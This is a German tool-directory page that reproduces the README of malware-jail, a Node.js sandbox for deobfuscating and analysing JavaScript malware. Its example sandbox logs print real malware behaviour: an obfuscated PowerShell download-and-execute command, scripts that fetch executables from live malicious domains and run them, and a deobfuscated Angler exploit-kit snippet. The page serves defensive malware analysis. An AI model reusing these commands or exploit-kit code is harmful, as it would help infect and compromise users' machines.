Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
malware-jail — Sandbox für semi-automatische JavaScript-Malware-Analyse, Deobfuskation und Payload-Extraktion. Geschrieben für Node.js. | Kitploit
Tools/GitHubGitHub/hynekpetrak/malware-jail
Dynamische Analyse (Sandboxing)Malware-Analyse
GitHubhynekpetrak/malware-jail

malware-jail

Sandbox für semi-automatische JavaScript-Malware-Analyse, Deobfuskation und Payload-Extraktion. Geschrieben für Node.js.

Repository anzeigen
478983vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

malware-jail

Sandbox für semi-automatische Javascript-Malware-Analyse, Deobfuskation und Payload-Extraktion. Geschrieben für Node.js

malware-jail ist für die Node 'vm'-Sandbox geschrieben. Derzeit implementiert es den WScript (Windows Scripting Host)-Kontext env/wscript.js, zumindest den Teil, der häufig von Malware verwendet wird. Der Internetbrowser-Kontext ist teilweise implementiert env/browser.js.

Läuft auf jedem Betriebssystem. Entwickelt und getestet unter Linux, Node.js v6.6.0.

Aufgrund der Verwendung einiger ES6-Funktionen benötigen Sie Node.js >= 6.x.

Siehe EXAMPLES für analysierte Malware-Beispiele.

Wenn Sie neue Malware-Beispiele haben, reichen Sie diese bitte unter javascript-malware-collection ein, entweder per Issue oder Pull-Request.

Neue Funktionen

Version 0.19

Listet WMI-Abfragen in einer Datei auf: wmis.json

Version 0.17

Neuen Parameter hinzugefügt:

root@kitploit:~
--t404 - HTTP-Anfragen geben immer HTTP/404 zurück und werfen eine Ausnahme. Dies ermöglicht das Auflisten aller entfernten URLs.

Version 0.16

URLs werden jetzt in urls.json gespeichert. Siehe aktuell EXAMPLES#malware-of-issue-14.

Verschiedene Fehlerkorrekturen und Verbesserungen.

Version 0.14

Verschiedene Fehlerkorrekturen und Verbesserungen.

Version 0.13

Neue Parameter hinzugefügt:

root@kitploit:~
-t msecs - Begrenzt die Ausführungszeit auf "msecs" Millisekunden, standardmäßig 60 Sekunden.
--h404 - HTTP-Anfragen geben immer HTTP/404 zurück und werfen keine Ausnahme. Dies ermöglicht das Auflisten aller entfernten URLs.

Installation

Sie benötigen Node.js und npm installiert.

malware-jail basiert auf minimist, iconv-lite und entities.

Von GitHub klonen

Den Quellcode mit Git klonen:

root@kitploit:~
git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail

Dann alle Abhängigkeiten (minimist, entities, iconv-lite) installieren mit:

root@kitploit:~
npm install

NPM-Paket

Noch nicht verfügbar, kommt bald ...

Warnung

Seien Sie vorsichtig beim Umgang mit echter Malware. Eine Malware, die diese Sandbox kennt, könnte versuchen zu entkommen und Ihren PC zu schädigen. Es wird empfohlen, sie entweder von einem unprivilegierten Linux-Konto oder innerhalb einer virtualisierten Windows-Maschine auszuführen. Angler-Dateien im Malware-Ordner sind NICHT entschärft.

Verwendung

root@kitploit:~
bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, a malware sandbox ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - Usage: node jailme.js  [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 -                [-o ofile] [-b id] \
7 May 20:54:52 -                [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 -        -c config .. use alternative config file, preceed with ./
7 May 20:54:52 -        -e ifile ... js that simulates specific environment
7 May 20:54:52 -        -o ofile ... name of the file where sandbox shall be dumped at the end
7 May 20:54:52 -        -s odir  ... output directory for generated files (malware payload)
7 May 20:54:52 -        -b id    ... browser type, use -b list for possible values
7 May 20:54:52 -        -t msecs ... number of miliseconds before terminating execution, default 1 minute
7 May 20:54:52 -        --trace  ... print stack trace with every log line
7 May 20:54:52 -        --down   ... allow downloading malware payloads from remote servers
7 May 20:54:52 -        --h404   ... on download return always HTTP/404
7 May 20:54:52 -        malware  ... js with the malware code
7 May 20:54:52 - If no arguments are specified the default values are taken from config.json
7 May 20:54:52 - Possible -b values: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]

Im Beispiele-Ordner finden Sie eine deaktivierte Malware-Datei. Führen Sie die Analyse aus mit:

root@kitploit:~
node jailme.js -c ./config_wscript_only.json --down=y malware/example.js

Internetbrowser-basierte Malware können Sie testen mit

root@kitploit:~
node jailme.js -b IE11_W10 malware/example_browser.js

Am Ende der Analyse wird der gesamte Sandbox-Kontext in eine Datei 'sandbox_dump_after.json' ausgegeben.

Möglicherweise möchten Sie die folgenden Einträge von 'sandbox_dump_after.json' untersuchen:

  • eval_calls - Array aller eval()-Aufrufargumente. Nützlich, wenn eval() zur Entschleierung verwendet wird.
  • wscript_saved_files - Inhalt aller Dateien, die die Malware zu speichern versuchte. Die tatsächlichen Dateien werden auch im output/-Verzeichnis gespeichert.
  • wscript_urls - Alle URLs, die die Malware per GET oder POST abrufen wollte.
  • wscript_objects - Erstellte WScript- oder ActiveX-Objekte.

'sandbox_dump_after.json' verwendet JSONPath, implementiert von JSON-js/cycle.js, um doppelte oder zyklische Referenzen auf dasselbe Objekt zu speichern.

Beispielausgabe

root@kitploit:~
bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - Malware sandbox ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - Sandbox environment sequence: env/eval.js,env/wscript.js
11 Jan 00:06:24 - Malware files: malware/example.js
11 Jan 00:06:24 - Output file for sandbox dump: sandbox_dump_after.json
11 Jan 00:06:24 - Output directory for generated files: output/
11 Jan 00:06:24 - ==> Preparing Sandbox environment.
11 Jan 00:06:24 -  => Executing: env/eval.js
11 Jan 00:06:24 - Preparing sandbox to intercept eval() calls.
11 Jan 00:06:24 -  => Executing: env/wscript.js
11 Jan 00:06:24 - Preparing sandbox to emulate WScript environment.
11 Jan 00:06:24 - ==> Executing malware file(s).
11 Jan 00:06:24 -  => Executing: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - Created: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - Created: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Not sending data, if you want to interract with remote server, set --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Calling onreadystatechange() with dummy data
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - Created: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> Script execution finished, dumping sandbox environment to a file.
11 Jan 00:08:42 - Saving: output/_TEMP__49629482.dll
11 Jan 00:08:42 - Saving: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - The sandbox context has been  saved to: sandbox_dump_after.json

Im obigen Beispiel wurde der Payload in output/_TEMP__49629482.dll und output/_TEMP__38611354.pdf extrahiert.

Beispiele

Der Ordner malware enthält reale Malware-Beispiele. Die meisten davon wurden von https://malwr.com heruntergeladen.

Bitte siehe EXAMPLES für ein vollständiges Verzeichnis der Malware-Beispiele.

Beispiel: Analyse von Wileen.js

Schädliches Skript von malwr.com: Wileen.js

Offenbar führt die Malware nicht aus, wenn sie innerhalb eines Browsers ausgeführt wird:

root@kitploit:~
if (typeof document == "undefined") {

Daher möchten Sie möglicherweise eine alternative Konfigurationsdatei verwenden, die keine Browser/DOM-Komponenten lädt:

root@kitploit:~
node jailme.js --down=y -c ./config_wscript_only.json  malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js 

Interessante Verwendung von Powershell:

root@kitploit:~
1 Oct 13:05:34 -  => Executing: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js
1 Oct 13:05:34 - ActiveXObject(WScRipT.SHEll)
1 Oct 13:05:34 - Created: WScript.Shell[1]
1 Oct 13:05:34 - WScript.Shell[1].Run(cmD.EXE /c POWE^R^s^he^lL.eXE     -ExEc^U^Tio^n^p^oLIC^y^   B^Y^pas^S -NOpro^Fi^L^e^    -^W^InD^Ow^sT^yle^  HI^ddeN^  (^Ne^W^-^OBJ^ecT^     S^YST^EM.net.Webc^L^I^E^n^T^).^dOWn^L^Oa^d^fI^lE^(^'http://click.doubledating.ru/js/boxun4.bin','%appdatA%.exE')^;^stA^Rt-^p^rO^c^eS^s  ^'%aPpdata%.eXe', false, undefined)
1 Oct 13:05:34 - ==> Cleaning up sandbox.
1 Oct 13:05:34 - ==> Script execution finished, dumping sandbox environment to a file.
1 Oct 13:05:34 - The sandbox context has been  saved to: sandbox_dump_after.json

Logdatei: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.out

Beispiel: Analyse von ORDER-10455.js

Schädliches JavaScript von malwr.com: ORDER-10455.js

Erster Lauf ohne Interaktion mit entfernten Servern:

root@kitploit:~
node jailme.js malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js

Sie erhalten etwa:

root@kitploit:~
... 
29 Sep 23:17:21 - Calling eval() no.: 5
29 Sep 23:17:21 - ActiveXObject(MSXML2.XMLHTTP)
29 Sep 23:17:21 - Created: MSXML2.XMLHTTP[9]
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].open(GET,http://caopdjow.top/user.php?f=0.dat,false)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9] Not sending data, if you want to interact with remote server, set --down=y
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].responseBody = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status = '200'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined) finished
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status.get() => 200
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)
29 Sep 23:17:21 - ActiveXObject(Scripting.FileSystemObject)
29 Sep 23:17:21 - Scripting.FileSystemObject[10] created.
29 Sep 23:17:21 - Scripting.FileSystemObject[10].GetSpecialFolder(2)
29 Sep 23:17:21 - ActiveXObject(ADODB.Stream)
29 Sep 23:17:21 - Created: ADODB_Stream[11]
29 Sep 23:17:21 - ADODB_Stream[11].Open()
29 Sep 23:17:21 - ADODB_Stream[11].Type = '1'
29 Sep 23:17:21 - ADODB_Stream[11].content = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)'
29 Sep 23:17:21 - ADODB_Stream[11].Write(str) - 10000 bytes
29 Sep 23:17:21 - ADODB_Stream[11].size = '10000'
29 Sep 23:17:21 - ADODB_Stream[11].Position = '0'
29 Sep 23:17:21 - ADODB_Stream[11].SaveToFile(Special_Folder__2\w8z05i7y2.exe, 2)
29 Sep 23:17:21 - ADODB_Stream[11].content.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)
29 Sep 23:17:21 - ADODB_Stream[11].Close()
29 Sep 23:17:21 - ActiveXObject(WScript.Shell)
29 Sep 23:17:21 - Created: WScript.Shell[12]
29 Sep 23:17:21 - WScript.Shell[12].Run(Special_Folder__2\w8z05i7y2.exe, undefined, undefined)
29 Sep 23:17:21 - Returning: 'undefined'
29 Sep 23:17:21 - ==> Cleaning up sandbox.
29 Sep 23:17:21 - ==> Script execution finished, dumping sandbox environment to a file.
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)
29 Sep 23:17:21 - Saving: output/Special_Folder__2_w8z05i7y2.exe
29 Sep 23:17:21 - Generated file saved
29 Sep 23:17:21 - The sandbox context has been  saved to: sandbox_dump_after.json

Scheint ein "Standard"-Verhalten der Entschleierung zu sein, um schließlich eine exe-Binärdatei herunterzuladen und auszuführen.

Wenn wir den echten Payload erhalten wollen, führen Sie es mit '--down=y' aus:

root@kitploit:~
 node jailme.js --down=y  malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js > malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out 
 

Logdatei: malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out

Beispiel: Analyse von Norri.js

Schädliches JavaScript von malwr.com: Norri.js

Ausführen:

root@kitploit:~
node jailme.js --down=y malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js

Sie erhalten:

root@kitploit:~
30 Sep 01:02:11 -  => Executing: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js
30 Sep 01:02:11 - Strict mode: false
30 Sep 01:02:11 - Calling eval() no.: 1
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Created: WScript.Shell[9]
30 Sep 01:02:11 - WScript.SpecialFolders(Desktop)
30 Sep 01:02:11 - WScript.CreateShortcut(Desktop/?eno.lnk)
30 Sep 01:02:11 - Created: WshShortcut[10](https://github.com/hynekpetrak/malware-jail/blob/master/Desktop?eno.lnk)
30 Sep 01:02:11 - WshShortcut[10](https://github.com/hynekpetrak/malware-jail/blob/master/Desktop?eno.lnk).FullName.get() => Desktop/?eno.lnk
30 Sep 01:02:11 - WScript.CreateObject(Scripting.FileSystemObject)
30 Sep 01:02:11 - Scripting.FileSystemObject[11] created.
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Created: WScript.Shell[12]
30 Sep 01:02:11 - WScript.CreateObject(MSXML2.XMLHTTP)
30 Sep 01:02:11 - Created: MSXML2.XMLHTTP[13]
30 Sep 01:02:11 - WScript.CreateObject(ADODB.Stream)
30 Sep 01:02:11 - Created: ADODB_Stream[14]
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetSpecialFolder(2) => TemporaryFolder/
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetTempName() => TempFile[15]
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].open(GET,http://girlx.tornadodating.ru/js/boxun4.bin,0)
30 Sep 01:02:11 - MSXML2.XMLHTTP[13] string true
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async = 'false'
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async.get() => false
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].send(undefined)
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange(), readyState = 4 length: 196608 status: 200
30 Sep 01:02:15 - MSXML2.XMLHTTP[13] statusText = null
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].responseBody = 'MZ?@?!?L?!This program cannot be ... (truncated)'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].status = '200'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange() undefined
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].send(undefined) finished
30 Sep 01:02:15 - ADODB_Stream[14].type = '1'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:15 - ADODB_Stream[14].Open()
30 Sep 01:02:15 - ADODB_Stream[14].content = 'MZ?@?!?L?!This program cannot be ... (truncated)'
30 Sep 01:02:15 - ADODB_Stream[14].Write(str) - 196608 bytes
30 Sep 01:02:15 - ADODB_Stream[14].size = '196608'
30 Sep 01:02:15 - ADODB_Stream[14].SaveToFile(TemporaryFolder/TempFile[15], undefined)
30 Sep 01:02:15 - ADODB_Stream[14].content.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:15 - ADODB_Stream[14].Close()
30 Sep 01:02:15 - WScript.Shell[12].Run(cmd.exe /c TemporaryFolder/TempFile[15], 0, undefined)
30 Sep 01:02:15 - Scripting.FileSystemObject[11].DeleteFile(script_full_name.js)
30 Sep 01:02:15 - ==> Cleaning up sandbox.
30 Sep 01:02:15 - ==> Script execution finished, dumping sandbox environment to a file.
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:16 - Saving: output/TemporaryFolder_TempFile[15]
30 Sep 01:02:16 - Generated file saved
30 Sep 01:02:16 - The sandbox context has been  saved to: sandbox_dump_after.json

Das Verhalten ist aus dem Log offensichtlich. Der Payload wurde in die Datei output/TemporaryFolder_TempFile[15] extrahiert.

Logdatei: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.out

Beispiel: Analyse von Angler EK

Laden Sie Angler EK aus einer pcap-Datei unter ANGLER EK SENDS CRYPTOWALL herunter und extrahieren Sie es in malware/angler/angler_full.html.

Entfernen Sie den Nicht-Angler-Teil und speichern Sie als malware/angler/angler_stripped.html.

Entfernen Sie <script>-Tags und konvertieren Sie erforderliche <div>-Tags in:

root@kitploit:~
document._addElementById(id, content);

und speichern Sie als malware/angler/angler.js.

Führen Sie die Analyse aus:

root@kitploit:~
node jailme.js malware/angler/angler.js

Erfassen Sie schließlich die Ausgabe in angler_output.txt:

root@kitploit:~
node jailme.js malware/angler/angler.js > malware/angler/angler_output.txt

Entschleierung der letzten Stufe:function() { if (document.body != null && typeof document.body != "undefined") { clearInterval(zfxhYOGvfrlHUNJrZufQnWPtohkYAQEEdV); if (typeof window["v_bcd50d9482665cd4e129a272c76799e6"] == "undefined") { window["v_bcd50d9482665cd4e129a272c76799e6"] = 1; var YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr = (DfPJmMLOnxPanSoeHQuOrDdSoCPJGAaRhYURtgyUD() && CCtJDLZQbieboJvsIyatBMZhUvTpzaQcyCXR()); var YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW = !YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !!window.chrome && window.navigator.vendor === "Google Inc."; var rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia = -1; var NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS = "http://beladonna33.ga/052F"; if (hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW() && rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia == 1) { if ((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) { location.replace(NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS) } else { window.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS; document.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS } } else { if ((YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW && !hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW())) { var blDiNORLBvDHjFRqgxXSMVgnfhriGmw = "<div style="position:absolute;left:-2808px;">"; var wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL = document.getElementsByTagName("div"); if (wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length == 0) { document.body.innerHTML = document.body.innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw } else { var dl_name = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length; var eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc = Math.floor((dl_name / 2)); wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw } } } } OncYaaSjwrEWhyHWevaHtkypMUSZxnIrtIK() } }

Lizenz

Die MIT-Lizenz (MIT)

Copyright (c) 2016 Hynek Petrak

Hiermit wird unentgeltlich, jeder Person, die eine Kopie dieser Software und der zugehörigen Dokumentationsdateien (die "Software") erhält, die Erlaubnis erteilt, die Software uneingeschränkt zu nutzen, einschließlich und ohne Einschränkung der Rechte zur Verwendung, Vervielfältigung, Änderung, Zusammenführung, Veröffentlichung, Verteilung, Unterlizenzierung und/oder zum Verkauf von Kopien der Software, und um Personen, denen die Software zur Verfügung gestellt wird, diese Rechte zu gewähren, unter den folgenden Bedingungen:

Der obige Urheberrechtshinweis und dieser Genehmigungshinweis müssen in allen Kopien oder wesentlichen Teilen der Software enthalten sein.

DIE SOFTWARE WIRD "WIE BESEHEN" ZUR VERFÜGUNG GESTELLT, OHNE JEGLICHE AUSDRÜCKLICHE ODER IMPLIZIERTE GEWÄHRLEISTUNG, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF DIE GEWÄHRLEISTUNG DER MARKTGÄNGIGKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND DER NICHTVERLETZUNG VON RECHTEN. IN KEINEM FALL SIND DIE AUTOREN ODER COPYRIGHTINHABER HAFTBAR FÜR JEGLICHE ANSPRÜCHE, SCHÄDEN ODER ANDERE VERPFLICHTUNGEN, OB AUS VERTRAG, DELIKT ODER ANDERWEITIG, DIE AUS ODER IM ZUSAMMENHANG MIT DER SOFTWARE ODER DER NUTZUNG ODER ANDEREN GESCHÄFTEN MIT DER SOFTWARE ENTSTEHEN.

Tool herunterladen